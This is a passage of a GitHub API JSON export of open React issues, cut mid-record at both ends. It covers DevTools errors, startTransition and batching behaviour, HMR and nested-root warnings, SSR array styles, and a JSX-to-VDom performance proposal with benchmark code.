(chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39771:3)\r\n at NativeStyleContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:42429:3)\r\n at div\r\n at div\r\n at OwnersListContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:35080:3)\r\n at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:37705:3)\r\n at Components_Components (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:44505:52)\r\n at ErrorBoundary_ErrorBoundary (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39237:5)\r\n at div\r\n at div\r\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39409:3)\r\n at PortaledContent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39439:5)\r\n at div\r\n at div\r\n at div\r\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39409:3)\r\n at TimelineContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:44686:3)\r\n at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:44115:3)\r\n at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:31940:3)\r\n at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:32584:3)\r\n at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39834:3)\r\n at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:56039:3)\n```\n\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Element not found in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\r\n\r\nError\n```\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25833/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25814", "id": 1477820054, "node_id": "I_kwDOAJy2Ks5YFb6W", "number": 25814, "title": "Bug: non-Hook startTransition waits for stale work to finish", "user": { "login": "gaearon", "id": 810438, "node_id": "MDQ6VXNlcjgxMDQzOA==", "avatar_url": "https://avatars.githubusercontent.com/u/810438?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gaearon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" }, "1": { "id": 1205087127, "node_id": "MDU6TGFiZWwxMjA1MDg3MTI3", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Concurrent%20Features", "name": "Component: Concurrent Features", "color": "ffccd3", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2022-12-06T00:39:13Z", "updated_at": "2024-10-17T07:31:19Z", "closed_at": null, "assignee": null, "author_association": "COLLABORATOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Not sure if this is a bug, but it breaks my expectations.\r\n\r\nHere's the same example with `useTransition` and `startTransition`.\r\n\r\n- `useTransition`: https://codesandbox.io/s/kgs8wi?file=/App.js\r\n- `startTransition`: https://codesandbox.io/s/delicate-mountain-fr04u3?file=/App.js\r\n\r\nRepro steps:\r\n\r\n1. Click \"Posts\"\r\n2. Immediately click \"Contact\"\r\n\r\nWith `useTransition`, the state change is instant because rendering slow Posts component is abandoned.\r\n\r\nWith `startTransition`, the state change is slow because it waits for the Posts component to finish rendering anyway.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25814/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25734", "id": 1462347606, "node_id": "I_kwDOAJy2Ks5XKadW", "number": 25734, "title": "Bug: Unexpected automatic batching behavior?", "user": { "login": "borisghidaglia", "id": 26144896, "node_id": "MDQ6VXNlcjI2MTQ0ODk2", "avatar_url": "https://avatars.githubusercontent.com/u/26144896?v=4", "gravatar_id": "", "url": "https://api.github.com/users/borisghidaglia", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2022-11-23T20:12:13Z", "updated_at": "2023-11-18T00:45:53Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "When running a heavy computation between two \"setState\" in a `useEffect`, one being out of a `setTimeout` and the other inside it, React does not re-render twice. \r\n\r\nThis is a problem because it prevents us from showing a \"loading state\" to the user while the heavy computation is running.\r\n\r\nReact version: `18.2.0`\r\n\r\n## Steps To Reproduce\r\n\r\nSee [this](https://codesandbox.io/s/practical-dew-qkfy29?file=/src/App.tsx) sandbox.\r\n\r\n## Main part of the sandbox code\r\n\r\n```ts\r\n useEffect(() => {\r\n setData(undefined);\r\n setTimeout(() => {\r\n const res = slowFibonacci(counter);\r\n setData({ res });\r\n });\r\n }, [counter]);\r\n```\r\n## The current behavior\r\n\r\nIt changes depending on some things I'm unfortunately not sure about. \r\nSometimes the loading state is correctly showed on mount, sometimes it's on update. \r\nSometimes the loading state displays smoothly, sometimes it seems that it is stuck mid-render (I don't know this for a fact). \r\nAnd finally some other times, the loading state is not displayed at all, and the component is only rendered once the computation is done.\r\n\r\n## The expected behavior\r\n\r\nI'd expect this code to behave as described in [this](https://github.com/reactwg/react-18/discussions/21#discussioncomment-1565892) comment from the _\"Automatic batching for fewer renders in React 18\"_ discussion on the [React 18 repo](https://github.com/reactwg/react-18) of the React Working Group:\r\n\r\n> The updates outside setTimeout will be batched together and updates inside setTimeout will be batched together separately so it will be 2 separate renders.\r\n\r\n\r\nThanks to @gaearon for taking a look at this beforehand and suggesting to submit this issue.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25734/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25733", "id": 1462311749, "node_id": "I_kwDOAJy2Ks5XKRtF", "number": 25733, "title": "[DevTools Bug]: configure by add webpack entry in document doesn't work", "user": { "login": "tjx666", "id": 41773861, "node_id": "MDQ6VXNlcjQxNzczODYx", "avatar_url": "https://avatars.githubusercontent.com/u/41773861?v=4", "gravatar_id": "", "url": "https://api.github.com/users/tjx666", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2022-11-23T19:42:45Z", "updated_at": "2022-11-23T19:45:34Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\nhttps://github.com/tjx666/awesome-chrome-extension-boilerplate/tree/vue3\r\n\r\n### Repro steps\r\n\r\n![](https://user-images.githubusercontent.com/41773861/203625364-e3865fa3-fc84-4498-bdea-1375d519a78e.png)\r\n\r\n\"image\"\r\n\r\n\"image\"\r\n\r\nrelated https://github.com/facebook/react/issues/24844#issuecomment-1325511675\r\n\r\nI load react-devtools by put in most front of webpack entry: https://github.com/tjx666/awesome-chrome-extension-boilerplate/blob/aad9001069cb19cfc5583615b864740b322b7923/server/utils/entry.ts#L29\r\n\r\n1. git clone https://github.com/tjx666/awesome-chrome-extension-boilerplate.git\r\n2. git checkout manifest-v3\r\n3. git reset --hard aad9001069cb19cfc5583615b864740b322b7923\r\n4. pnpm install\r\n5. run pnpm devtools\r\n6. chrome open chrome://extensions/\r\n7. enable chrome extension develop mode\r\n8. load unpack extension folder under project root\r\n9. open options page of this extension\r\n10. then you will see the error in above screenshot.\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n```\"react-devtools\": \"4.26.1\"```\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25733/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25719", "id": 1458210224, "node_id": "I_kwDOAJy2Ks5W6oWw", "number": 25719, "title": "Adding useEffect in HMR causes \"Expected static flag was missing\"", "user": { "login": "sebmarkbage", "id": 63648, "node_id": "MDQ6VXNlcjYzNjQ4", "avatar_url": "https://avatars.githubusercontent.com/u/63648?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sebmarkbage", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 1649755876, "node_id": "MDU6TGFiZWwxNjQ5NzU1ODc2", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Fast%20Refresh", "name": "Component: Fast Refresh", "color": "473bcc", "default": false, "description": "" }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": { "0": { "login": "gaearon", "id": 810438, "node_id": "MDQ6VXNlcjgxMDQzOA==", "avatar_url": "https://avatars.githubusercontent.com/u/810438?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gaearon", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 1, "created_at": "2022-11-21T16:13:39Z", "updated_at": "2022-11-21T16:44:41Z", "closed_at": null, "assignee": { "login": "gaearon", "id": 810438, "node_id": "MDQ6VXNlcjgxMDQzOA==", "avatar_url": "https://avatars.githubusercontent.com/u/810438?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gaearon", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "```\r\nWarning: Internal React error: Expected static flag was missing. Please notify the React team.\r\n```\r\n\r\nhttps://twitter.com/dan_abramov/status/1593609862830759936\r\n\r\nThis was also repro:ed in Next.js by @sokra:\r\n\r\n![image](https://user-images.githubusercontent.com/63648/203103593-3136632a-b226-4acb-9d93-09b809ada779.png)\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25719/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25675", "id": 1447684556, "node_id": "I_kwDOAJy2Ks5WSenM", "number": 25675, "title": "Bug: False positive warning with nested roots: Attempted to synchronously unmount a root while React was already rendering.", "user": { "login": "aovchinn", "id": 3647829, "node_id": "MDQ6VXNlcjM2NDc4Mjk=", "avatar_url": "https://avatars.githubusercontent.com/u/3647829?v=4", "gravatar_id": "", "url": "https://api.github.com/users/aovchinn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "1": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2022-11-14T09:17:39Z", "updated_at": "2024-11-14T02:53:43Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "we get a warning on (legitimate?) use case, if there is a manually added react root inside another parent root\r\n(for example for part of Backbone view that is inserted into parent react component)\r\non unmount we can see that child root is in commit context, so we cant unmount it\r\n\r\nReact version: 18.2\r\n\r\n## Steps To Reproduce\r\n\r\n1. have nested react roots, child is manually added/removed on parent mount/unmount\r\n2. unmount parent root\r\n\r\nI have 2 way bindings for backbone.marionette and react\r\n* reactToMarionette\r\n* useMarionetteInReact hook\r\nwhen root/parent component gets rendered/destroyed React gives this warning\r\n\r\n```\r\nWarning: Attempted to synchronously unmount a root while React was already rendering.\r\nReact cannot finish unmounting the root until the current render has completed,\r\nwhich may lead to a race condition.\r\n```\r\nI am looking for ways to fix this warning\r\n\r\nI think ReactChild node is somehow marked as `toBeRendered` at the app render, even though I would expect that app.root would not know about nested/inserted MView react root\r\n\r\nLink to code example: https://codesandbox.io/s/my-test-adapters-forked-tdbgdb\r\n\r\n
problematic code \r\n\r\n```jsx\r\nimport { View } from \"backbone.marionette\";\r\nimport React, { useCallback, useRef, useState } from \"react\";\r\n\r\nimport { createRoot } from \"react-dom/client\";\r\n\r\nexport function App() {\r\n // create a reason to render inner component\r\n const [isVisible, setVisible] = useState(true);\r\n const toggle = useCallback(() => setVisible((i) => !i), []);\r\n\r\n console.log(\"render app\", isVisible);\r\n return (\r\n <>\r\n \r\n {isVisible ? : null}\r\n >\r\n );\r\n}\r\n\r\n// component that children are controlled from outside (by marionette)\r\nconst SomeComponent = () => {\r\n console.log(\"render SomeComponent\");\r\n const ref = useMarionetteInReact();\r\n return
;\r\n};\r\n\r\n// hook, for rendering marionette view\r\nconst useMarionetteInReact = () => {\r\n const viewRef = useRef(null);\r\n\r\n const divRef = useCallback((el) => {\r\n if (el === null) {\r\n console.log(\"MView destroy in useCallback\", viewRef.current);\r\n viewRef.current && viewRef.current.destroy();\r\n } else {\r\n console.log(\"created MView\");\r\n const MView = new reactToMarionette({\r\n className: \"reactToMarionette\",\r\n template: false,\r\n component: \r\n });\r\n viewRef.current = MView;\r\n MView.render();\r\n el.appendChild(MView.el);\r\n }\r\n }, []);\r\n\r\n return divRef;\r\n};\r\n\r\nclass reactToMarionette extends View {\r\n constructor(options) {\r\n super(options);\r\n this.component = options.component;\r\n this.el.textContent = \"I am Marionette\";\r\n\r\n console.log(\"create root\", this.el);\r\n this.divEl = document.createElement(\"div\");\r\n this.divEl.classList.add(\"portal-root\");\r\n this.root = createRoot(this.divEl);\r\n this.el.append(this.divEl);\r\n }\r\n\r\n render() {\r\n console.log(\"MView render\");\r\n this.root.render(this.component);\r\n }\r\n\r\n onBeforeDestroy() {\r\n console.log(\"onBeforeDestroy\", this.root);\r\n if (this.root) {\r\n // setTimeout(() => this.root.unmount());\r\n this.root.unmount();\r\n }\r\n }\r\n}\r\n\r\nconst ReactChild = () => {\r\n console.log(\"render ReactChild\");\r\n return
Hello, I am react child
;\r\n};\r\n\r\n```\r\n
\r\n\r\n## The current behavior\r\nwarning is displayed\r\n\r\n## The expected behavior\r\nno warning ?\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25675/reactions", "total_count": 28, "+1": 28, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25564", "id": 1422974716, "node_id": "I_kwDOAJy2Ks5U0N78", "number": 25564, "title": "[DevTools Bug]: Not seeing source / file path", "user": { "login": "jschuler", "id": 869106, "node_id": "MDQ6VXNlcjg2OTEwNg==", "avatar_url": "https://avatars.githubusercontent.com/u/869106?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jschuler", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2022-10-25T19:39:07Z", "updated_at": "2022-10-31T08:42:48Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\n[Any](https://reactjs.org/)\r\n\r\n### Repro steps\r\n\r\nOpen react dev tools in browser\r\nSelect a react component from the tree\r\nNotice that no Source (file path) is printed in the bottom right panel (see description screenshot in https://github.com/facebook/react/pull/17567)\r\n\r\n\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": { "login": "github-actions[bot]", "id": 41898282, "node_id": "MDM6Qm90NDE4OTgyODI=", "avatar_url": "https://avatars.githubusercontent.com/in/15368?v=4", "gravatar_id": "", "url": "https://api.github.com/users/github-actions%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25564/reactions", "total_count": 2, "+1": 2, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": "reopened", "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25548", "id": 1420114897, "node_id": "I_kwDOAJy2Ks5UpTvR", "number": 25548, "title": "Bug: react-dom/server renderToString don't support array style(react-native ssr)", "user": { "login": "linjinze999", "id": 19993351, "node_id": "MDQ6VXNlcjE5OTkzMzUx", "avatar_url": "https://avatars.githubusercontent.com/u/19993351?v=4", "gravatar_id": "", "url": "https://api.github.com/users/linjinze999", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null }, "2": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2022-10-24T02:43:29Z", "updated_at": "2022-10-29T08:37:51Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version: 17.0.2\r\n\r\n## Steps To Reproduce\r\n\r\n\r\n\r\nCode example: ``\r\n\r\n\r\n\r\n## The current behavior\r\n`style=\"0:[object Object];1:[object Object]\"`\r\n\r\n## The expected behavior\r\n`style=\"font-size:12px;line-height:20px\"`", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25548/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25533", "id": 1419342732, "node_id": "I_kwDOAJy2Ks5UmXOM", "number": 25533, "title": "Compile JSX directly to VDom for improve draw of view performance and allow progressive view rendering", "user": { "login": "LabEG", "id": 10910167, "node_id": "MDQ6VXNlcjEwOTEwMTY3", "avatar_url": "https://avatars.githubusercontent.com/u/10910167?v=4", "gravatar_id": "", "url": "https://api.github.com/users/LabEG", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2022-10-22T14:57:06Z", "updated_at": "2024-03-19T06:18:58Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Right now JSX compiles to array of React.createElement or _jsx function. Each function calls for make VDom elements in runtime. I suggest compiling JSX directly to VDom. Because each function call in javascript has its own cost. On my PC its 2 nanoseonds. On 1000 JSX elements its 2 milliseconds. \r\n\r\nThis (call function) operation can be done not at runtime, but at the time of compilation. This optimization will improve the speed of JSX calculation by 25-50%.\r\n\r\n
\r\n Performance test\r\n \r\nThe simplest speed test. Can be copied to a file and run in nodejs.\r\nOn my PC have next result:\r\ntime-jsx: 0.22ms\r\ntime-vdom: 0.15ms\r\n\r\nOn a real application, the gap can be much larger.\r\n\r\n ```javascript\r\n\r\nconst ce = (elem, props, childrens) => {\r\n return {\r\n type: elem,\r\n props,\r\n childrens\r\n }\r\n}\r\n\r\nconst compJsx = () => {\r\n return (\r\n ce(\r\n \"div\",\r\n null,\r\n [\r\n ce(\r\n \"div\",\r\n null,\r\n [\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n )\r\n ]\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n [\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n )\r\n ]\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n [\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n )\r\n ]\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n [\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n )\r\n ]\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n [\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n )\r\n ]\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n [\r\n ce(\r\n 